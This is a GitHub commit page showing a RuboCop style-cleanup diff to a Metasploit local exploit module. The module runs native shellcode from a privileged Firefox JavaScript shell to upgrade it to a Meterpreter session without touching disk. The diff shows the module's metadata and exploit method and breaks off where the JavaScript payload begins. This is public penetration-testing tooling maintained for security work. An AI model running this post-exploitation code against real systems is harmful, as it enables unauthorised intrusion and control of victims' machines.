Skip to content

Commit 9fcc234

Browse files
authored
Merge pull request rapid7#20054 from bcoles/rubocop-modules-exploits-firefox
modules/exploits/firefox: Resolve RuboCop violations
2 parents 1c8e4b1 + db1c5f4 commit 9fcc234

File tree

1 file changed

+35
-28
lines changed

1 file changed

+35
-28
lines changed

modules/exploits/firefox/local/exec_shellcode.rb

Lines changed: 35 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -3,51 +3,58 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
76
class MetasploitModule < Msf::Exploit::Local
87
Rank = ExcellentRanking # Missing autodetection, but has widespread targetability
98

109
include Msf::Payload::Firefox
1110
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
1211

13-
def initialize(info={})
14-
super(update_info(info,
15-
'Name' => 'Firefox Exec Shellcode from Privileged Javascript Shell',
16-
'Description' => %q{
17-
This module allows execution of native payloads from a privileged Firefox Javascript shell.
18-
It places the specified payload into memory, adds the necessary protection flags,
19-
and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter
20-
session without touching the disk.
21-
},
22-
'License' => MSF_LICENSE,
23-
'Author' => [ 'joev' ],
24-
'Platform' => [ 'firefox' ],
25-
'DisclosureDate' => '2014-03-10',
26-
'Targets' => [
27-
[
28-
'Native Payload', {
29-
'Platform' => %w{ linux osx win unix },
30-
'Arch' => ARCH_ALL
31-
}
32-
]
33-
],
34-
'DefaultTarget' => 0
35-
))
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Firefox Exec Shellcode from Privileged Javascript Shell',
17+
'Description' => %q{
18+
This module allows execution of native payloads from a privileged Firefox Javascript shell.
19+
It places the specified payload into memory, adds the necessary protection flags,
20+
and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter
21+
session without touching the disk.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' => [ 'joev' ],
25+
'Platform' => [ 'firefox' ],
26+
'DisclosureDate' => '2014-03-10',
27+
'Targets' => [
28+
[
29+
'Native Payload', {
30+
'Platform' => %w[linux osx win unix],
31+
'Arch' => ARCH_ALL
32+
}
33+
]
34+
],
35+
'Notes' => {
36+
'Reliability' => [ REPEATABLE_SESSION ],
37+
'Stability' => [ CRASH_SAFE ],
38+
'SideEffects' => [ IOC_IN_LOGS ]
39+
},
40+
'DefaultTarget' => 0
41+
)
42+
)
3643

3744
register_options([
38-
OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
45+
OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90])
3946
])
4047
end
4148

4249
def exploit
43-
print_status "Running the Javascript shell..."
50+
print_status('Running the JavaScript shell...')
4451
session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
45-
results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
52+
results = session.shell_read_until_token('[!JAVASCRIPT]', 0, datastore['TIMEOUT'])
4653
print_warning(results) if results.present?
4754
end
4855

4956
def js_payload
50-
%Q|
57+
%|
5158
(function(send){
5259
try {
5360
#{run_payload}

0 commit comments

Comments
 (0)